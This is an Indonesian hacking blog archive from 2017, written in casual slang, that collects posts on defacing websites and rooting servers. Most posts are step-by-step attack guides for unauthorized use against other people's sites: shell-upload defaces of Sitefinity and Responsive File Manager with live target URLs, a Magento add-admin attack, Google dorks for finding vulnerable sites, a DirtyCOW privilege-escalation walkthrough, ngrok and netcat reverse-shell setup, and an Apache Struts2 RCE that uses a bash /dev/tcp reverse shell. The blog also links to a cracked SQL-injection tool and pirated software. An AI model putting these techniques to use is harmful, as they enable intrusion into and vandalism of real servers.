Teest: tháng 7 2017

Download Havij 1.16 pro Portable Crack

yup :'v kali ini gua mau share tools andalan gua klo maen sqli yaitu Havij :'v
ya sedikit penjelesan tentang havij ini

havij adalah sebuah alat untuk melakukan penetrasi terhadap wesite yang mempunyai vulnerability di

Sql Injection :'v

ini tools karena namanya crack jadi otomatis udah full fiture :'v

ok deh langsung aja ke link donlodnya :'v

Download Gan

Lapor Klo link rusak ok ;)

Xampp Aplikasi Localhost untuk Linux atau Windows

Xampp

kali ini gue mau sedikit jelasin nih tentang xampp :'v nah berhubung w gk ada imajinasi buat bikin tutor ya udah w post beginian aja :'v mayan nambah ilmu
sedikit penjelasan tentang xampp
Xampp adalah perangkat yang menggabungkan tiga aplikasi kedalam satu paket,yaitu Apache,MySQL,dan PHPMyAdmin,Dengan Xampp pekerjaan anda sangat dimudahkan karena dapat menginstalasi dan mengkonfigurasi ketiga aplikasi tersebut dengan sekaligus dan otomatis.
xampp juga bisa buat localhost :'v ya buat ngetes shell atau explot baru yang ber ekstensi php :'v

Tertarik ? Bisa Download dibawah :'v

Download gan

Deface CMS Sitefinity Editor Dialogs Shell Upload

Deface CMS Sitefinity Editor Dialogs Shell Upload
Dork :
inurl:"/Sitefinity/login.aspx"
"UserControls/Dialogs"
"Sitefinity: Login"
Live Demo : http://www.calstart.org/
Exploit : /sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx
TUtor :
Tambahin Exploit Target http://www.calstart.org/sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx
Lalu Pilih Shell lu :)
Sukses Akan Seperti ini :)

Lalu lansung akses shell nyaaa,,,

Sekian & Terimah kasih :) oh, ya jangan lupa follow IG baru gw wkwkwk
https://www.instagram.com/m.daffanajwan/
Yang baik tambahin followers gw :v

Tutorial Mendapatkan Domain .Tech & .Space Gratis!!!

Tutorial Mendapatkan Domain .Tech & .Space Gratis!!!
Selamat Pagi :) , Lagi jalan" ke Grup Indonesia Blogger ada yang share mendapatkan domain gratis , lalu gw coba ternyata masih bisa hehehe Thx TO Ashar Iskandar‎

Kalian Langsung aja ke :
www.get.tech untuk domain.tech
www.get.space untuk domain .space

*Centang privacy protection jika tidak maka kalian akan membayar $7 (kalo gw sih mending beli RDP) :v
Lalu Gunakan kupon ini GOVHACKNZ
Taraa lu register & dapat domain gratis :)

Sekian dan terimah kasih :)

Adobe Akan Menghentikan Adobe FLASH Pada Akhir Tahun 2020

Siapa yang tidak kenal Adobe Flash ?
Perangkat lunak yang membantu menjadikan Internet tempat yang lebih baik dengan grafis, animasi, game, dan aplikasi yang apik dan membawa video online ke masyarakat, namun telah dibenci bertahun-tahun oleh orang dan pengembang karena sifatnya yang buggy.

Tapi Adobe akan menghentikan Adobe Flash yang diumumkan pada hari Selasa bahwa perusahaan tersebut akan berhenti memberikan update dan menghentikan penyebaran Flash Player pada akhir tahun 2020.
Langkah ini telah mendapat kesenangan banyak orang, karena Adobe Flash telah terkenal karena serangan Zero-Day yang sering terjadi, itulah sebabnya mengapa telah lama menjadi salah satu alat favorit bagi hacker dan penjahat cyber.

Sudah dua dasawarsa sejak Adobe Flash telah menguasai Arena Animasi Ruang Web, yang merupakan standar de facto untuk memutar video online, namun peretas semakin menemukan cara untuk memanfaatkan celah keamanan di teknologi dan melakukan peretasan ke komputer pengguna.

"Kami akan berhenti memperbarui dan mendistribusikan Flash Player pada akhir tahun 2020 dan mendorong pembuat konten untuk memigrasikan konten Flash yang ada ke format terbuka baru ini," Ungkap Adobe di situsnya.

Hingga 2020, Adobe masih akan bermitra dengan Apple, Google, Facebook, Microsoft dan Mozilla untuk menawarkan update keamanan untuk Flash Player di browser web mereka dan juga mendukung versi baru dari perangkat lunak tersebut, namun perusahaan tersebut tidak akan menyediakan fitur Flash baru.

Pada 2010, mantan CEO Apple Steve Jobs menyatakan Flash Player sudah usang. Awal tahun lalu, Google juga mulai melarang Adobe Flash Player di Chrome 53 untuk mendukung HTML5 dengan melarang spanduk Flash dari platform Periklanan Adwords-nya.

Untuk meletakkan penuh pada Flash, banyak perusahaan teknologi besar seperti Apple, Facebook, Youtube, Google Chrome, Firefox telah beralih ke pengganti baru - HTML 5.

Microsoft baru saja mengumumkan rencananya untuk menonaktifkan Flash Player secara default di Edge dan Internet Explorer pada tahun 2019, dengan penghapusan penuh dari semua versi Windows yang didukung pada tahun 2020.
Google akan terus menghapus Flash selama beberapa tahun ke depan dengan memblokir pemutaran otomatis iklan Flash secara default di browsernya.
Pada bulan Januari tahun lalu, YouTube beralih dari Flash untuk mengirimkan video.
Mozilla juga memblokir plugin Flash sepenuhnya dari Firefox dan akan memungkinkan pengguna Firefox Extended Support Release (ESR) tetap menggunakan Flash sampai akhir 2020.
Safari Apple saat ini membutuhkan izin eksplisit di setiap situs web meskipun pengguna Mac memilih untuk memasang Flash.

Jadi, tanggal menghentikan Adobe Flash Player adalah 31 Desember 2020.

Namun, perusahaan akan memberikan yang terbaik dalam alat animasi dan video kelas seperti Adobe Animate CC - alat animasi Premier Web perusahaan untuk mengembangkan konten HTML5.

Adobe Animate CC sebagian besar terlihat seperti pembaruan perangkat lunak Profesional Flash - mendukung format Adobe Flash (SWF) dan AIR 'sebagai warga kelas satu,' bersama dengan format animasi dan video lainnya, termasuk kanvas HTML5, 4K dan keluaran WebGL.

Sumber : TheHackerNews

Tutorial Rooting Server with dirtycow

Yo Wazzap gaes :'v w kali ini mao bagiin tutorial rooting server
mungkin udah bnyk yang tau :'v tapi share aja deh :'v
oh iya sebelum itu baca dulu nih :)
http://familyattackcyber.blogspot.co.id/2017/07/tutorial-back-connect-without-port.html
ok sedikit penjelasan tentang rooting :'v root adalah sebuah proses untuk mengizinkan pengguna ponsel pintar, tablet, dan piranti lain untuk mendapatkan akses tertinggi
yaudah gk usah banyak cincong kuy lach langsung ke kamar :*

Bahan:

1.Netcat (download disini gan)
2.ngrok (ikeh)
3.localroot dirtycow (yamete kudasai)
4.shell kernel 2016 /2015/2014 kebawah
ok lanjut ke tutorial

Tutorial

pertama kita lakukan back connect dlu :)
kita ketikkan ke ngrok nya
ngrok.exe tcp 123 abis itu ke netcatnya
nc -lnvp 123
nah ke shell nya isikan server ip sama portnya :)

yang kedua adalah kita panggil exploitnya dengan mengetik
wget link localroot yang tadi :)

selanjutnya kita compile exploitnya dengan mengetik
gcc -pthread dirty.c -o dirty -lcrypt

dan yang selanjut nya adalah kita chmod exploit yang tadi di compile dengan mengetik
chmod +x dirty

abis itu kita jalankan exploitnya :)
./dirty dan masukan pasword baru :)

nah kita tunggu :) klo udah selesai seperti ss dibawah ini :''v

abis itu cek udah ke root apa blom dengan mengetik id firefart

klo udah ke root abis itu kita anuin tty nya :''v dengan mengetik
python -c 'import pty;pty.spawn("/bin/sh")'
abis itu kita login pake command ssh
ssh firefart@localhost
trus ketik "yes"
abis itu masukin password kalian :)

kurang lebih seperti di ss :)
done kita berhasil Rooting :) skarang bebas deh lo mau mass apa ambil vpsnya wkwkwkwkwkwk :'v
vidionya gan (https://www.youtube.com/watch?v=qIJbI-dZYVg) *ini bukan vidio gua
klo ada kesalahan maaf ya ^_^ maklum gan masih newbie :)
add fb gue >:( fb gue ( sakata gintoki)
ok sekian tenkyuh gan :)

Download Visual Basic 2010 Express For Free

Download Visual Basic 2010 Express For Free

Hay guys ! gw Rasyid Maulana . kali ini gw mau share VBNET 2010

Apa itu VBNET?

Microsoft Visual Basic .NET adalah sebuah alat untuk mengembangkan dan membangun aplikasi yang bergerak di atas sistem .NET Framework, dengan menggunakan bahasa BASIC. Dengan menggunakan alat ini, para programmer dapat membangun aplikasi Windows Forms, Aplikasi web berbasis ASP.NET, dan juga aplikasi command-line. Alat ini dapat diperoleh secara terpisah dari beberapa produk lainnya (seperti Microsoft Visual C++, Visual C#, atau Visual J#), atau juga dapat diperoleh secara terpadu dalam Microsoft Visual Studio .NET. Bahasa Visual Basic .NET sendiri menganut paradigma bahasa pemrograman berorientasi objek yang dapat dilihat sebagai evolusi dari Microsoft Visual Basic versi sebelumnya yang diimplementasikan di atas .NET Framework. Peluncurannya mengundang kontroversi, mengingat banyak sekali perubahan yang dilakukan oleh Microsoft, dan versi baru ini tidak kompatibel dengan versi terdahulu. Wikipedia

Langsung sadja :D

Redirect : Klik Disini Untuk Download

Jika ada masalah link / mirror ! harap reply :D

SQL Injections - Innovins

SQL Injections - Innovins
===============================================================
Gw Anggap lu udah paham dengan SQL Injections
=====
Dork : intext:"Developed by - Innovins" .php?id=
Fresh Mirror baru 2 gw submit hehehe :)
Yo Silahkan Hajar ^_^
Join Grub juga : Join Here!!! & Sukai Fanspage kami di kanan pojok

Deface Dengan Responsive File Manager

kali ini gua bakal share cara deface dengan responsive file manager :''v
teknik ini cukup simpel karena cuman upload file trus akses shell :'''v
ok langsung saja
bahan :
dork:
plugins/filemanager/uploads/
tinymce/filemanager/uploads
jquery/filemanager/uploads
*kembangin gaes
shell ext .php.fla .php5 dll
contoh:eue.php.fla
Live target : http://tesda11.com/414c0a42459163bf6a993bd016b5aeb1/js/jscripts/tinymce/plugins/filemanager/dialog.php

Tutorial:

pertama tama kalean Dorking di google :''v klo udah dapet targetnya exploit dengan dialog.php
contoh:
site.com/path/filemanager/dialog.php

trus abis itu pencet bagian upload

abis itu upload shell klean :)

XoXoXoXoXo mudah kan ?

akses shell ? site.com/path/filemanager/uploads/shell klean :''v
ok itu aja dari gue hehehehehe klo ada salah komen ya gan :)
oh iya jangan lupa Like FP kami ya :*

Deface Magento Add Admin

Deface Magento Add Admin
Ok Guys, Sorry gw baru Share tadi agak sibuk jadi sekarang gw share sebelum tidur hehehe
Sebelum itu Download Bahan Dulu -> Download !!!
Dork : inurl:costumer/login
"Powered By Magento"
*Kembangin lagi , atau lu cari dork di blog" lain :)
Step:
Download tuh aplikas lalu buka & isi username dan password contoh daffa123 (isidenganbebas)
dan isi dengan target.

Lalu Klik Scan, Jika berhasil akan seperti ini :)

Tinggal Login , untuk login tambahin /admin/ di belakang target contoh target.com/admin/

Next nanti akan kasih tahu cara pasang shell , ngelog cc , & mendapatkan dollar paypal dari magento
Insyaallah , tapi itu gk gw tepati juga ya hahahaha :)

Auto Like Facebook

Request dari : Moh Iskandar ISs
Kali ini gw akan menerima permintaan tersebut :)

devliker.com
autolike.biz
4liker.com
autolikesgroups.net
m-autoliker.com
abliker.com
djliker.com
myfbliker.com
machineliker.com
s.apental.com
autolike.cz/
autoliker4fb.com/
pubiwayliker.com/
machinelikes.com
mg-likers.com
hublaa.me
leetshares.com/
likeeer.com/
kurd-liker.net

Sekian & Terima Kasih :)

Admin Finder (Python Script)

Admin Finder Python Script

yop kembali lagi bersama gua Kyu_Kazami hehehehehehe

kali ini gue mau bagiin admin finder script :3

buat yang suka maen sql tapi gk tau admin findernya pake ini aja

List bisa di kurang ato ditambah :3

BTW ini sc bukan punya gue :'v w nemu di google cuman di share doang

Ini punya nya Lunatic Code w cuman share doang

sc nya : disini

install python terlebih dahulu gan

Penampakannya

Penggunaannya cukup mudah

cuman ketikkan : python adminfind.py

abis itu masukin url yang mau dicari admin loginnya

nah cukup mudah bukan ?

add fb saya juga hehe

Kyu_Kazami

Tutorial Back Connect without port forwading

yo apa kabar klean hehehehe ;'v
disini w mao bagi bagi tutor neh backconnect di shell :'v
ok langsung aja
pertama kalian download ngrok sama netcatnya

kucing warnetnya : disni

https://ngrok.com/ daftar trus download

klo udah daftar :''v tinggal login abis login kita dialihkan ke dasboard member

nah disini terlihat ada auth token kita copy auth tokennya trus paste ke ngrok

klo udah install auth token kita ketikkan

ngrok.exe tcp 123

nah klo udah kayak gitu buka netcat nya

ketikkan nc -lnvp 123

kita ke shell

kurang lebih seperti ss :'v
isi servernya
0.tcp.ngrok.io portnya:random number
kan 0.tcp.ngrok.io:randomport

sukses tinggal kau root

Tutorial Remote Code Exploit (Apache Struts2)

Cara Deface Dengan Apache Sruts2 ( Remote Code Execution)

yo apa kabar gaes :''v gue admin baru nih hehehe kali ini gue bakal share tutor tentang
Apache struts2 Remote Code Execution
sedikit info tentang Remote Code Execution ini Remote Code execution adalah sebuah vulnrability yang memungkinkan si attacker untuk memberikan code code berbahaya seperti namanya Remote Code kita bisa meremote kode kode tersebut lalu mengirimnya ke web target
yodah gk usah banyak cocot lagi :'v
Yup Langsung saja
Bahan :
Dork : intitle:"Struts Problem Report" intext:"development mode is enabled."
Python <- disini gaes
jexboss <- disini gaes
netcat <- disini gaes

Langsung Ke tutor

1.Buka CMD lalu ke folder jexboss nya

2.yang ke dua ketikkan
python jexboss.py -u http://targetklean.com
klo vuln ada bacaan vulnerable trus ketik yes

3.sekarang kita coba reverse shell
Buka Netcat nya trus ketikkan
nc -lnvp 123

habis itu ke jexbossnya yang berhasil kita exploit
4.ketikkan /bin/bash -i > /dev/tcp/ip/port 0>&1 2>&1\n
note: klo port mu blom di forward coba pakai ngrok

Klo port blom di forward cek tutor disini gaes Tutorial back conect with Ngrok (disni)

Done udah kita berhasil reverse shell tinggal di anuin

Vidionya Gaes : disini gaes

klo hoki sih bisa di root :''v

Teest